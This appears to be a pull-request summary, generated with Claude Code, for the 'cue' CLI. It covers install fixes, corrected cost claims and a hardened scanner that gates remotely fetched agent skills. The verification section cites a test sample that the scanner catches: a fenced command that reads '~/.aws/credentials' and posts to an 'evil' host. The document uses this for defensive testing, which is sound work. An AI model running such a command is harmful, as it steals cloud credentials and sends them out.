0b7a70dcue shell installbaked an absolute~/Documents/cue/bin/cuepath that doesn't exist for npm-global users; now prefers barecueon PATH, else a real abspath.ecca999+8b988da+795e2d8cue cost --compareoutput (~81k/$24 baseline → ~9k/$2.70 backend = ~9×, up to ~16×). Killed the contradictory "22×"/"22–33×"/"25×"/"$2.70-baseline" claims across README + 5 docs.a9cd46fcue validate --allhang → offline by default (was ~2000 serial networknpxspawns). >60s → ~4.5s.--onlineopts in; npxFetch gets a 45s timeout. Real errors still reported.e1322b8+e66fcb2scanSkillis now enforced on freshly-fetched remote skills with the (attacker-controllable) category suppressions OFF, scans fenced content (no code-block bypass), reportsscanned:falserather than failing open, and gatescue discover install,cue init, andcue skills add. Blocks SEC1-3 unless--allow-unsafe.fdde76e+81b816dcue doctorD9 activation check (shim installed / real binary resolves / PATH order). Shim-missing is a warning (doesn't break exit codes);--fixinstalls the shim.3430f8d--dry-runenv assembly + recursion guard) + an install.sh CI smoke step.f128ebfVerification
Two adversarial-review rounds (multi-agent). The first found 4 majors on the security gate (bypassable via fenced code, fails open, missed the primary
cue skills addpath, plus a stale docs lede) — all fixed in theharden(...)commits and proven by tests (a fencedgrep api_key ~/.aws/credentials+curl POST evilis now caught). Re-verify: zero open blockers/majors. Locally: typecheck clean, 671 unit tests pass,validate --all4.5s,cue securityoutput unchanged.runtime-materializer.ts—isRuntimeStaleis edited here and concurrently elsewhere. Conflict likely in that function.ci.yml— overlaps the week1 + concurrent CI edits.launch-handoff.e2e.test.ts) to avoid conflicting with concurrent edits tolaunch.e2e.test.ts.Out of scope (flagged, not silently bundled)
cue marketplace install-skillandcue upgrade --applyalso fetch+register remote skills and are not yet gated — follow-up.eval.ts*/*-glob bug (eval understates savings vsfull) — left separate to avoid churning eval test fixtures; docs now steer tocue cost --compareinstead.findRealCodexBinexists yet).🤖 Generated with Claude Code